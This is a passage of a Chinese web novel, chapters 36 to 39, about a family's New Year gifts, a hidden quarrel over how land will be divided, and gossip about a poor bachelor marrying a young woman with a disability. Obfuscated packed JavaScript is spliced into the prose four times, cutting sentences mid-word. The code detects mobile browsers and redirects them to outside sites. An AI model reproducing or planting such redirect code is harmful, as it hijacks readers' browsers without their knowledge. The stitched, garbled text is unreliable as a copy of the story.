l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14597208|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 赵如月给自己儿女买的时候,顺便也给娘家年纪跟儿女相仿的侄子和外甥也买了。 娘家的侄女和外甥女,比弟弟们年纪稍大点,她记得她们更喜欢给娃娃做衣服,就给她们买了娃娃。 赵如月把带回来的礼物发了一圈,成功晋升成为家里所有小孩最喜欢的长辈。 邓细妹看到女儿给家里孩子买了那么多玩具,还给他们买衣服,从里到外,从头到脚,甚至连丝巾、围巾、袜子、手套都有。 她有些担心地找了个借口,拉闺女回房间说悄悄话: “你跟绍明出去挣钱也不容易,怎么买那么多东西?还债的钱够吗?不够的话,我跟你爸给你们的钱别再还给我们了,我卖菜也私下攒了一些,到时候就跟你哥哥嫂子说,你们已经把钱还了。” “别别别,一码归一码,妈,你可别悄悄干这种事,现在我们兄弟姐妹感情多好,万一以后被我哥哥嫂子知道,不是影响我们兄妹之间的感情?” 赵如月拿出钱包:“你看看,还你们的钱我都带来了。” 邓细妹还想说不要,赵如月哪能不知道她,继续解释:“我买那些衣服和玩具全是批发价拿的,我跟绍明拿货回来卖的事,应该有人跟你们说了吧?” “早上你堂姐如桃两口子经过,确实跟我们说了一嘴,”还有一些别的熟人,邓细妹懒得数出来,就没说,“他们还叫我们一起去看看,我们想着你们刚回来,要忙的事不少,没去跟着凑热闹。” “我跟绍明带回来那些货是朋友介绍的门路,给你们买的衣服,给孩子们买的玩具也是,不过我们没做过生意,不敢把摊子铺得太大,就只拿了些袜子、丝巾围巾什么的回来,争取年前卖完好过年。” 赵如月隐去进货价之类不该说的,把事情解释清楚。 邓细妹终于放心了:“晚点我跟你去看看你们带回来的那些货,明天刚好是集日,我帮你带点货去集上卖。” “你不是还要卖菜吗?”赵如月知道娘家除了种地,没别的收入,她爸妈种菜卖菜,多少能挣点钱补贴家用。 年节正是菜能卖得上价钱的时候,哪年菜价好卖得多,她爸妈靠卖菜还能攒下一些钱。 “卖菜什么时候不能卖?把你们的货卖完才是最要紧的。”邓细妹盘算着,要不拿一点货去亲戚朋友家走一圈,价格实惠,应该也能卖出去不少。 赵如月既感动又有些哭笑不得:“妈,菜可不比我那些货,我的货不容易坏,你的菜不趁着年前卖,年后菜价跌回去,菜也老了,还怎么挣钱? 放心吧,我今早刚回来没多久,货就卖出去一袋了,还有人约好了明天再来买别的,倒是有件事得请你们帮忙。” “什么事你说。”能帮得上女儿,让邓细妹觉得更踏实,要不她得一直惦记着,女儿还回来的钱收着也不安心。 赵如月说:“吃过晚饭,想请你跟我嫂子去我那儿,帮我把货分拣一下,我大姐还得带天宝,就不叫她了。” 她确实需要人帮忙,宁丹萍未成年要早睡,婆家公公和大伯哥是老烟枪,宁时春也学了他们爱抽烟,浑身沾染烟味。 赵如月怕几个人分拣着又要抽烟,让货也沾上烟味,不想让他们碰那些货。 光靠她跟宁绍明,还有婆婆和大嫂分拣,得分拣到半夜去,明天还要早起卖货的,可不能熬那么晚。 36. 第 36 章 母女俩说完话,赵如月把钱强行塞给母亲,立刻离开房间。 外面人多,邓细妹不好追出去把钱再塞回去给女儿,只好收下。 她们出来没两分钟,赵如月的大姐赵如艳,带着自己的小儿子周天宝也来了。 赵如月把给她们家买的那一份交给她。 她给娘家人买的衣服,跟婆家人一样,父母是从里到外,从上到下包括围巾、手套、袜子都有。 其他人就没那么多了,衣服只有一件厚外套,女的还有丝巾或者围巾,外加手套、袜子。 男的除了衣服,就只有手套和袜子,因为进的那几袋货里,男款的围巾实在太少。 所有男的都送的话,根本不够分,赵如月干脆就都没给。 赵如艳听她们聊起晚上要去赵如月家,帮忙分拣货,表示自己也去帮忙。 她开玩笑地说:“要不然,我都不好意思收你那么多东西。” 赵如月抱着她的小儿子颠了颠:“你家天宝晚上不闹人了?” “唉……”说到这个赵如艳忍不住叹气,也想起来自己晚上根本走不开,“这小冤家,白天谁带都行,晚上就只跟我,真是拿他没办法,要不让小梅和小菊去帮忙?她俩也收了你给的好东西,可不能光收东西什么也不干。” 家里三个孩子,她要交的超生罚款比妹妹更多,儿子也才两岁半,离不了人,又没婆婆帮衬,想出去打工都不行,也不放心让丈夫一个人去。 她家里比赵如月家还难,原本今年不打算给孩子买新衣服了,只给她们一人买一双新布鞋。 赵如艳知道,新年自家孩子看别人家孩子穿新衣服,肯定会羡慕。 可家里条件就不好,她也没办法,只能到时候跟孩子说说道理,让孩子体谅一下家里的困难。 现在三妹送的这些东西,真是送到了她的心坎上,这下不用担心新年不买新衣服,女儿们不高兴了。 周小梅和周小菊姐妹俩也在外婆家,听到妈妈的话,立刻点头应下:“我们晚上吃过晚饭就去三姨家帮忙。” 两个表姐要去三姨家,赵如月哥哥家的女儿赵思芸和她小妹家的女儿林彩柔也坐不住了,纷纷表示自己也要去。 赵如月笑着说:“好好好,都去都去,我本来还担心今晚上分拣不完那些货,才想叫妈和嫂子帮忙,结果现在反而要担心货不够你们分拣了。” 其他人听了都跟着笑起来。 赵家氛围其乐融融,躲在房间里商量事的宁家老两口表情却有些凝重。 黄秀华摸了摸放在床上的新衣裳,看向宁达:“老头子,老三想在空宅基地那边建房开店的事,你怎么想?” “什么怎么想?”宁达靠在床头眯着眼睛,嘴里还含着一颗孙子孙女出门前给的糖,“老三不是说了,只是建个小平房开店用,又不是建院子搬过去住。” “你的意思是,还是按照以前的打算,给三个儿子分房?那怎么跟老二说?” 他们当初给赵如月的父母作出分房的承诺时,完全没跟老大和老二提过这事,但老三以为他们跟老大老二都说过。 这会儿黄秀华很担心,老三要是去空宅基地建平房开店,老二肯定会认为老三分到的是那个空宅基地。 等到真正要分家,兄弟俩发现事情跟他们认为的不一样,八成要闹起来。 这是黄秀华不愿意看到的,谁都想自己的孩子和睦友爱。 以前还能拖着,现在随着老三要开店,这事不得不端到明面上来解决了,他们老两口必须尽快做出决定。 黄秀华最喜欢的孩子,是家里最有出息、端铁饭碗的老二,可最疼爱的孙辈,是最小的孙子小秋。 老三夫妻俩今年又孝敬她这么多好东西。 她自己没办法抉择,逼着宁达表态:“到底把那空宅基地给谁!?” 宁达也头疼得很,但他偏疼乖巧嘴甜的小孙女,出去吃席、放牛都爱带着:“手心手背都是肉,要不空宅基地给老二?” 黄秀华没忍住嫌弃道:“说什么手心手背都是肉,没想几秒钟就说给老二,手心肉厚,手背肉薄是吧?” “那你说怎么办?老二不是在学校分到了一间房吗?他们平时也不爱回来住,给他们院子空放着也是白放着,不如把院子分给老三。” 宁达琢磨着,等分了家,按照规矩他得跟老大家过。 老三一家住在老大家旁边,跟没分家时也没太大区别,他依旧能天天看到小孙子小孙女。 这么想着,他又找了一个把院子给老三的理由:“老二家只有一个闺女,要想不丢工作,就不能再要孩子,这房子给他,以后还不知道便宜了谁,不如给老三,以后还能传给小秋。” 黄秀华一听,觉得老头子说得也有道理。 门外,叶菁无声地深吸几口气,轻手轻脚不动声色地离开。 走到堂屋里,拽着宁绍德就往外走。 “怎么了?”宁绍德刚坐下,接过大侄子递过来的橘子准备剥开。 他一个体育老师,体格高大,被这么一拽,竟然差点摔倒,可见他老婆用了多大力气。 所以宁绍德问了那一句,叶菁铁青着脸不回答,他也不敢再问。 两人来到空旷的池塘边上,叶菁松开手,压低着声音劈头盖脸一顿骂:“你爸妈说什么孙子孙女都一样,全是放狗屁!早知道你家人是这么个德性,我嫁给乞丐也不嫁给你! 两个老家伙平时看着人模人样,没想到竟然内里藏奸!他们嫌我家丹洁是女儿早说啊,我们好早点离,我带着丹洁走,也能早点腾位置,不耽误他们另外找个能给你生儿子的!” 宁绍德越听越懵:“不是,你怎么突然说这些?刚回来的时候不是还好好的,谁在你面前瞎说了?” 叶菁:“还能有谁?不就是你的好爹妈!”她愤愤地把自己偷听到的话复述了一遍。 “不可能吧,”宁绍德不相信自己父母会那样,“小春说他们在房间里睡午觉,就算没睡觉,也不可能跟你说那样的话,我爸妈一直对你和丹洁也很好啊。” 叶菁不屑:“表面上对我们好而已,人家背地里还不是看不起你没儿子,偏心你有儿子的兄弟,你个傻子还觉得自己父母天下第一好!” “你没证据可不能乱说,我妈可能会有点重男轻女,可她也没故意对哪个孩子不好吧?” 他妈顶多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14601359|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是对孙子更好,宁绍德亲眼见过,他妈把好吃的东西藏起来,偷偷给孙子,这个他承认,但他妈也没跟那些恶毒奶奶一样虐待孙女不是。 “我爸就更不用说了,他对孙子孙女都一样,甚至更疼孙女,你没见他去哪里都更乐意带着孙女吗?” 一说到他爸,叶菁脸色更难看:“得了吧,你爸才是最重男轻女的那个,我刚刚站在他们房门口听得一清二楚!” 偷听的?怎么在自己家还干这种事? 宁绍德有些不高兴了:“那我们回去问个清楚,他们要是真那样,以后我们就少回来,或者我自己回来就行。” 叶菁哽了一下,她怎么可能当面去跟公婆对峙,那不是暴露她偷听的事了? 而且她有没有证据,万一那两个老家伙不承认,还倒打一耙怎么办? 这家里可全都是他们自家人,没人帮她,真对上她绝对要吃亏。 让外人知道她跟公婆闹起来,可能还会坏了名声。 她娘家也在镇上,到时候别人不会说宁家老两口怎么样,反而会说她爸妈不会教女儿,她和娘家都丢不起这个人。 叶菁眼珠子一转,想到了主意:“我们直愣愣地去问,能问出什么东西来?等分家的时候你就看着吧,因为你没儿子,他们打算,把那个连草房破屋都没有的空宅基地分给你!” 宁绍德听到这话气笑了:“你说编话好歹编得有理有据些,老家分家的规矩你又不是不懂,用这个说事,可信吗?” 叶菁冷笑:“那我们走着瞧!” “行,等分家的时候,看看到底是我们爸妈不对,还是你在瞎胡闹!” 夫妻俩都动了气,也都要面子。 一起在池塘边缓了缓,恢复好心情,维持住笑脸,让人看不出来他们吵过架,才回家去。 回去之前叶菁还拉着宁绍德,在池塘边随便薅了一把野菜。 回到家,宁时春还在堂屋烤火吃橘子。 见他们回来,他一脸不解地问:“二叔二婶,你们刚刚那么急着跑出去,是要做什么去?” 叶菁笑着举了举手上的野菜:“看到池塘边长着在城里难得见到的野菜,有点激动,怕被人摘走,顾不上带篮子就拉着你二叔摘去了。” 宁时春露出一言难尽地表情:“这菜不够嫩了,街上的大娘大婶们都不爱挖,要不可留不到你回来,你要是喜欢吃野菜,让我妈带你去我们田里找,田里长的那种更嫩更好吃,我妈正愁没人跟她一起去呢。” 叶菁笑着点头,进后院随手把野菜扔进了鸡盆里。 从后院出来,迎面遇上提着个几个袋子的婆婆,见到她笑眯眯地对她招手:“小菁快来,老三夫妻俩给你们三个也买衣服了。” 往常叶菁觉得婆婆似乎有点偏心自己老公,对自己家是真心好。 现在看到婆婆那笑脸,怎么看怎么觉得假。 可心里再别扭,她也要打起精神应付:“来了,老三夫妻俩今年怎么还给我们买衣服,妈你们也有吗?” 黄秀华乐呵呵地应着:“有,全家都有,我们今天中午都试过了,就差你们,我去把丹洁也叫来,你们一起去房间里试试看合不合身。” 37. 第 37 章 赵如月从娘家回来,看到二嫂带着她女儿坐在堂屋烤火,跟两人打了个招呼。 叶菁见到她们夫妻俩,又想起自己在公婆房间门口偷听到的话,心情越发不好。 扯着嘴角露出个笑来,也跟他们打了个招呼。 赵如月上辈子上了年纪后,跟叶菁来往不少,现在却不太想看到她。 毕竟后来在背后嘲笑她的亲戚里,就有叶菁。 这个二嫂,还很会做表面功夫,哄得她以为她真是个好性子的人。 不过这辈子叶菁还什么都没做,赵如月不至于因为还没发生的事,去为难现在的她。 简单寒暄几句,两个孩子带着宁丹洁去玩,赵如月就回房,继续收拾房间去了。 她跟宁绍明的房间里东西还挺多,有他们自己的东西,也有两个孩子的东西。 乡下老人上了年纪会分开睡,有条件的会一人一个房间,没条件的就一个房间里摆两张床。 现在她公婆就是分开睡,两个孩子跟着婆婆一起睡。 不过孩子的大部分衣物依旧放在她跟宁绍明的房间。 婆婆不太讲究,把孩子的衣服混在一起,往没上锁的柜子里到处塞。 赵如月习惯把东西分门别类规整好,就想赶紧收拾出来,好好打扫一下,要不乱糟糟的,她住着总感觉浑身别扭。 他们夫妻俩在房间里收拾,为了方便进出打扫房间卫生,门没关。 王海燕从后院出来,经过她们房间门口,往里瞥了一眼,走到堂屋就扯了扯叶菁的衣袖,往赵如月房间的方向噘嘴:“你刚刚去看过没?” 叶菁不太明白她的意思:“看什么?” 王海燕一副不忍直视的样子,又冲着那方向用力眨眼睛:“老三夫妻俩呗!” “啊?”叶菁更不明白了。 人家开着门打扫房间,有什么好看的? 又不是关着门在做什么见不得人的事。 “看来你是没见着,你假装去天井洗手,路过门口看一眼就知道了。” 叶菁在王海燕的催促下,半信半疑地起身,去天井洗了个手回来,还是不解:“我看了,没什么呀。” 王海燕啧了一声,压低声音凑到叶菁耳边:“你刚刚没见到老三在打扫,还收拾被褥床单那些?” “见到了。”叶菁嫌弃她靠太近,不动声色地挪远。 “哪有让男人干这些活的!”王海燕露出一言难尽的表情,“我就说小秋妈懒得出奇,竟然使唤男人干这个!谁家不是女人干这些活?说出去绝对被人笑话!” 叶菁听了她这话无语得很,自己家这些活也是夫妻俩一起干,结婚前就说好了的。 宁绍德往常在家打扫卫生,铺床叠被子洗床单,也没见他觉得做这些丢人。 怎么到大嫂嘴里,这就全是女人的活了? 叶菁笑笑:“在自己家里,我们不说,谁知道呢?” 王海燕嘲讽的话一顿,忙道:“呵呵也是,我肯定不会出去跟人乱说的。” 叶菁心里嘲讽她见不得好,嘴上附和:“那可不,自家的事,我平时也不会到处跟人说,更别说刚收到老三夫妻俩送的东西,怎么也得念着他们的好,大嫂你们家应该也有吧?” 王海燕讪讪道:“有,都有,挺合适的,你们也试过了?” “试过了,”叶菁顺势把话题扯开,“我的跟孩子她爸的那件挺合适,就是给丹洁买的那件有点大,我平时都是按照正正好的尺码给孩子买衣服,那件今年怕是穿不上。” “我听老三媳妇说,她按照小夏的尺码给丹洁选的衣服,竟然还大吗?”王海燕说着暗自撇嘴。 心说:当个小学老师,每个月领几百块钱工资而已,看她狂的,给孩子买衣服还敢买正码了,真是有钱烧得慌。 叶菁不太相信:“是吗?我家丹洁比小夏还大一岁,弟妹怎么给小夏也买那么大的衣服,能多穿几年省钱是省钱了,可孩子穿着不舒服吧?” 王海燕觉得她这话有点别扭,可又说不出来是哪里别扭,只好有什么说什么:“那小夏穿着刚好。” “不是吧,我看丹洁比小夏高一点呢。” 叶菁不太高兴,这不是说她女儿还比不过小一岁的堂妹? 王海燕也跟她杠上了,虽说养小叔子家的孩子没花她家的钱,可这一年她也帮着看过孩子,她认为小夏长得好也有自己的一份功劳在上面。 “两个孩子在外面玩滑板呢,叫她们进来比比看不就知道了。” 叶菁也非要挣这一口气,还真把两个孩子叫进来了。 赵如月抱着一包衣服出来的时候,两个小姑娘脱了鞋,正背对着背比身高。 王海燕咯咯咯地笑得眼睛都眯成了一条缝。 她看到赵如月,还把赵如月叫过来一起看。 语气夸张地大声说:“哎呀,你看看,不贴在一起的时候还好,两个孩子看起来身高体型都差不多,这一贴在一起看,才看得出小夏竟然比丹洁还高一寸,身上的肉看起来也更结实。” 宁丹洁被她夸张的语气说得,以为自己犯了什么错,不知所措地低下了头。 宁时夏看看这个又看看那个,不知道大人们在玩什么,为什么非要她们比高,只是敏锐地察觉到二姐好像因为大伯娘的话不开心了。 “我的脚要被冻成萝卜脚了!”宁时夏蹦跶着挣开大伯娘拽着自己的手,一手拿起鞋子,一手拉着二姐就跑,“二姐我们不跟她们玩了,上隔壁小卖部看电视去!” 可以离开这里,让宁丹洁狠狠松了一口气,穿着袜子跟妹妹一起跑到门口,才想起来自己没穿鞋,转身回去把自己的鞋拿上,跟在妹妹身后跑了。 堂屋里,王海燕还在振振有词地跟叶菁说:“你们平时劝孩子多吃点饭,别总惯着孩子挑食,小夏一顿能吃两碗饭,肉和菜也能吃不少,孩子吃得多养起来是有点费钱,可吃得多才能长身体。” 叶菁心说:费钱也不是费你的钱,孩子也不是你养的,你得意什么? 她脸上带着笑,语气却十分敷衍,嗯嗯地点头应了几声,想岔开话题,于是看向抱着一包东西要出门的赵如月。 “三弟妹,你拿的这一大包东西都是什么?要扔掉还是给人送去?” 赵如月低头看了一眼:“收拾房间整理出来一些小夏穿不下的衣服,想给对门我族弟的女儿送去。” 她顿了顿又有些不好意思地问:“二嫂,里面有一些是妈从你那里拿回来的衣服,丹洁和小夏穿着都不合适了,我拿去送人,你应该不介意吧?” 叶菁怀疑赵如月是故意的,这是拐着弯地嫌弃婆婆从自己家,给她女儿拿了不合适的衣服。 可这个三弟妹又一脸看起来特别真诚的表情,让她捉摸不透。 这事叶菁也知道是自己理亏,之前婆婆去她那儿帮忙带丹萍的时候,带着给小秋和小夏买衣服的钱,想顺便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617671|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在县城给两个孩子买衣服。 正好他们夫妻俩遇上点事急用钱,就跟婆婆商量着,挪用了一点两个孩子买衣服的钱。 让婆婆带着丹洁穿不下的衣服回来,给小夏穿,先应应急。 她以为丹萍比小夏大一岁,丹萍的衣服小夏肯定能穿得下,谁知道小夏长得那么快。 那些钱目前还没还给婆婆,叶菁现在也不好在弟妹面前多说什么。 只能维持着笑脸,作出大度的样子说:“这有什么好介意的,既然家里孩子都穿不下,该送人就送人,有人愿意要也不用浪费了这些好衣服,当初买的时候也不便宜呢。” 赵如月点头:“我也是这么想的,那我先送过去了。” 她带着衣服走到对门的族弟家,一走进去,被酒味熏得忍不住捂住口鼻。 堂屋没人,赵如月听到里面好几个男人猜拳劝酒的声音,猜测他们大概在厨房喝,一点也不想往里走了。 她站在门口喊:“鸿利,冬兰在家吗?” 喊了几次,族弟赵鸿利才醉醺醺地出来:“姐,是你啊,你找她有事?” “我拿点衣服给思葵,冬兰不在家?” 赵鸿利皱着眉:“不知道她跑哪里去了,成天不着家,等她回来我非得说她一顿……” “得了吧,”赵如月毫不客气地打断他的话,“你还好意思说人家冬兰,成天喝得醉醺醺,她不嫌弃你,你就偷着乐吧!” 赵鸿利被说也没生气,挠着头说道:“要不我先拿进去放,等她回来我再跟她说一声。” “你懂个屁,给你处理,等你喝醉了一迷糊,还不知道给我扔哪里去,我去隔壁看看冬兰在不在。” 赵鸿利点头:“行,那我先进去了。” 赵如月嫌弃地挥挥手,往隔壁赵鸿利他哥家去了。 赵鸿利媳妇也没在这儿,倒是他两个女儿都在。 他大嫂许萍告诉赵如月:“冬兰她娘家妈又病了,入冬就病了好几次,说是受不得冷,她回去照顾了好几天,他家两个孩子这几天都跟着我,我那个小叔子,成天喝得醉醺醺的,丈母娘生病都不去露个面,留在家里孩子也不管,可真是……” 她话说一半,注意到两个小姑娘还在,没再继续往下说。 赵如月也没接那个话,她拿出一件衣服递过去:“刚好孩子在这儿,这些衣服,小夏穿着都短了,思葵就比小夏小几个月,不知道她能不能穿,要是能穿就留下,不能穿,我再去问问有谁要。” 许萍高兴地接过衣服:“能穿能穿,肯定能穿,思葵比小夏矮一个头,保不齐能穿好几年,这些衣服看起来还很新呢,今年思葵过年也算有新衣服穿了,真是太谢谢你了!” 赵如月:“你们愿意要,我也不用再到处找人送出去,给我省事了。” 在许萍家聊了几句,吃了几颗烤花生,赵如月起身回家。 今天小年,晚饭吃得早,吃过饭,天还没暗,她娘家人就来帮忙分拣货。 几个人边聊天边干活,时间过得还挺快。 赵如月再次注意到外面时,天都黑了。 她起身正准备把门掩上挡挡夜风,却见一个人急匆匆往这边走。 人走近了,赵如月才发现竟然是她大姐:“姐,你怎么来了?天宝睡了?” 赵如艳一把将她拽进屋,把几个孩子赶出去玩。 然后关上门,压低声音,说了个让所有人震惊的消息。 38. 第 38 章 赵如艳眼里闪着八卦的光,兴奋地说:“我公公兄弟家那个娶媳妇儿老大难的老光棍儿子,要有老婆了!” 她这话一说出来,连在堂屋的另一角,教女儿写寒假作业,不想过来帮忙拣货的叶菁都凑了过来,装作要帮忙的样子,竖起耳朵听。 赵如月想了好一会儿才想起来大姐说的是谁:“住在我家右边,隔了几户的同街邻居?” “除了他,还能有谁?”赵如艳一脸嫌弃,“成天好吃懒做,穷得叮当响,听你大姐夫说,这就是遗传的,他这个堂弟的爸也是这样! 你们没见着么,除了他家,整条街的人家全在我们爸妈那一辈,建起了砖墙瓦房,现在到我们这一代,有钱的人家又要起两三层的楼房,预备着孩子以后娶媳妇儿了。 只有他家,现在还是泥墙瓦房,他们家那个堂屋,不是我说,连你们家后院的厕所都不如!” 赵如月忍不住笑出声:“还真别说,我们家后院那厕所,是以前挖沼气池的时候,小秋特地要求他爸把旱厕给填了,重新用砖瓦建的不漏雨的厕所,还用水泥铺了地板、刮了墙面,那地板比堂屋的都光滑。” 宁绍明一想到这事,也忍不住笑出来:“那时小秋还说,不把厕所建好点,他以后就不拉粑……” “爸!!”宁时秋扑过来捂住他爸的嘴,“不许说!” 宁绍明的话虽然没能说完,但大家都听懂了,纷纷大笑起来,一时间堂屋里回荡着众人愉悦的笑声。 直到王海燕疑惑地问赵如艳:“你老公家那个堂弟,说的是镇上哪条街哪户人家的闺女?我记得以前我们村早年间嫁到街上的一个大娘,早些年给他介绍过好几个我娘家村子里的姑娘,他还嫌弃人家是村里的乡下人,不乐意娶,这回真娶到镇上的了?” 王海燕非常想问镇上谁家那么瞎,竟然愿意让自家闺女嫁给砖瓦房都建不起来的人家。 但是看在那男的是赵如艳婆家人的份上,她就没把话说得那么难听。 王海燕知道那男的看不起她们村里姑娘这事之后,即使住在同一条街上,两家只隔着几户,也不再跟那男的一家来往了。 她娘家村子到镇上,走路也才半个小时的路程,跟镇上能有多大差距? 镇上不也是乡下么,大家都是乡下人,还要分个三六九等,谁还比谁更高贵了? “不是镇上的,他都四十岁了,长得又老又不好看,家里更是穷得很,镇上的人知根知底,谁愿意把女儿嫁给他?人家三婚的都看不上他!”赵如艳对丈夫的那个堂弟也是十分不屑。 紧接着,她说出了那个令所有人震惊的消息:“他娶的是家离这里很远的一个傻闺女!听说才二十来岁,要不是脑子不正常,也不可能嫁给他!” “!!!!!!”堂屋里的其他人都惊得说不出话来。 半晌,才有人弱弱地说道:“怎么落到要娶个脑子有问题的地步了?”以前还嫌弃人家村里的姑娘呢! 赵如月这才想起,上辈子大姐夫的这个堂弟,确实娶了个脑子不太正常的傻姑娘。 只是那姑娘生下女儿几年后,就得病死了,她去世得早,没人提醒赵如月真想不起来,街上还有过这么一个人。 那个姑娘长得不错,最主要是皮肤很白很细腻,看着不太像乡下人。 可是她娘家人说,他们家也是离城镇很远的、山里的村子。 赵如月上辈子曾经见过,那个可怜的姑娘在脏脏的池塘里洗衣服,还有她被经血染红的底裤,有时候还会去在那里擦洗身子。 她才知道,那个男的别说卫生巾,连月事带都不给她弄几条。 她悄悄回家给她拿了一包卫生巾,又把这事告诉了大姐。 后来听大姐说,姐夫那个堂弟的亲哥的老婆以后会给她买卫生巾,赵如月自己后来忙着养孩子,自顾不暇,就没再关注过她。 再听到消息的时候,已经是她的死讯,说是得病死了。 赵如月忍不住问:“那姑娘的娘家人,真是她亲人吗?” “肯定是啊,”赵如艳笃定地说,“天没黑的时候,我得到消息,抱着天宝去看过,那姑娘跟她妈长得挺像。” “没见着她家户口本?” 赵如艳摇头:“没有。” 赵如月心里一咯噔:“没有户口本怎么领证?不怕遇到骗子?” “我们乡下结婚,办个酒席就行,等生了孩子,给孩子上户口的时候,可以再给点钱,把她户口一起加上。”赵如艳对此习以为常。 她比赵如月大十岁,身边很多同龄人结婚的时候,大多也是先办酒席,后面才补的结婚证。 甚至现在也有不少没到领证年龄的年轻人,也是这么办。 赵如艳还觉得她三妹谈恋爱的时候,电影看多了,瞎讲究,非要等二十岁到法定结婚年龄,可以领证才办酒。 说什么仪式感,在赵如艳看来就是屁事多,结婚晚多耽误要孩子! 也就是她三妹运气比较好,先得了个儿子,后面又得个女儿,一下子‘好’字凑齐,儿女双全了,不用糟那么多罪。 不像自己,三十多快四十才得个儿子。 赵如月还想说些什么,却不知道能说什么。 最后只能无奈叹了口气,说了一句:“真是造孽。” 男人造孽,当父母的也造孽。 可这种事警察都没法管,外人除了唏嘘几句,还能怎样? 赵如艳不知道她在惆怅什么,赶着说道:“天宝睡着了,我才抓紧时间来的,得抓紧时间回去,对了小月,你和绍明往后三天都在家吧?” 赵如月说:“不一定,得看看情况,我们第一次卖货,卖得快还是慢,不好估计。” 其实她估摸着,如果卖货的速度还跟今早一样,明天……最多后天,那些货差不多可以全部清掉。 卖完也快到除夕了,她跟宁绍明回来前就计划好,趁着年前有空,带两个孩子去县城,让他们尽情地玩一回。 这事赵如月并不打算跟大姐说,要不她又得说他们两口子带孩子去玩,是有钱烧得慌。 “那边明天就办喜酒,我作为同族的堂嫂,也要去帮忙,我本来还想着,你家离他家近,让小梅和小菊带着天宝待在你这里,我抽空过来看孩子也方便,不过你们要是忙着卖货顾不上就算了。” 邓细妹悄悄瞪一眼大女儿,她哪能不知道大女儿的心思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629914|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不就是觉得妹妹妹夫刚从外地回来,还给娘家婆家和两个孩子买了那么多好东西,自己家里好吃的肯定不会少。 她家三个孩子来妹妹这里,妹妹这个当姨妈的肯定不会亏待外甥外甥女们,想趁机蹭点好东西么! “我那里离得也不远,刚好我有空,让小梅和小菊把天宝带到我那里去吧,我帮你带几天。” 赵如艳面色为难:“妈,你不跟爸一起去集上卖菜了?” “我让思芸跟着你爸去,小梅和小菊去我那里,也能帮忙择菜,”邓细妹看向周小菊和周小梅姐妹俩,“明天带弟弟去外婆家帮忙,外婆让外公给你们买油馍吃。” 周小菊和周小梅高兴地猛点头,油馍她们也难得吃一回呢! “给自己亲外婆干点活,你们也好意思要东西?妈,你别惯着她们,”赵如艳不赞成地说,“油馍两毛五一个,买两个的钱,能在街上吃一碗有肉的米粉了。” 看两个外孙女羞愧地低头抠手指,邓细妹对女儿不耐烦了:“你少管,我的钱愿意给谁花就给谁花,孩子给我干活,我就乐意给她们买!赶紧回家照顾你儿子去,留在这儿不够烦人的!” “三妹,你看看妈,越老越不讲理了。”赵如艳拿老娘没办法,只好去三妹那里找认同。 赵如月其实也觉得她妈没错,可也不好火上浇油,只能在中间和稀泥,把谈兴正浓的大姐劝回家了。 来帮忙分拣货的人多,不到九点,货就分拣完了。 赵如月拿了罐奶粉和碗出来,烧水给每人泡了一碗:“干那么久的活,晚饭都消化光了,吃点东西再回去吧。” 这奶粉还是她做小月子的时候,房东和周家人来探望送的几罐。 她就吃完了一罐,剩下的全带回来了,这奶粉不分年龄段,老人小孩都能喝。 邓细妹本来想说自己不喝,让她把这么好的东西留给小秋和小夏喝,可她作为赵如月的亲妈都不喝,其他人更不好意思喝了。 她又看看瘦小的小梅和小菊,到底是心疼,只好把话咽了回去。 邓细妹接过女儿递过来的碗和几块饼干,按照她说的,把饼干泡在牛奶里再吃:“味道还真是比干吃好多了,也容易嚼。” 赵如月看到她满意,心里也很高兴。 她母亲为孩子忙碌一辈子,死前都在为她们姐妹忧心,没怎么享过福,她也希望自己母亲能多尝到些好吃的。 剩下半罐,赵如月强塞给她,让她带走:“我爸还没尝过呢,你带回去让他也尝尝,老人吃了对身体好,补钙。” 邓细妹本来坚决不要,还是赵如月给她看过,自己这里还有好几罐,她才收下了。 赵如月知道,奶粉带回去后,他们老两口肯定不会自己吃独食。 但她也不在意,能有一部分进他们嘴里也挺好了。 吃完东西,宁绍明把她们一一安全送到家。 回家就看到女儿在耍赖皮。 宁时夏洗完澡,赖在爸妈房间里不愿意走了。 眼睛闭得紧紧的,眼皮下眼珠子咕噜咕噜转,一看就知道在装睡。 宁时秋也是站在门口一步三回头,半天挪不出去一米远。 39. 第 39 章 宁绍明本来就不介意他们兄妹俩留下一起睡,偏偏还要逗孩子。 把躲在床角落装睡的女儿往外扒拉:“小夏醒醒,该去睡觉了。” 说完又故作懊恼的样子自言自语:“忘了孩子睡着听不见,还是我抱着送到她奶奶房间去吧。” 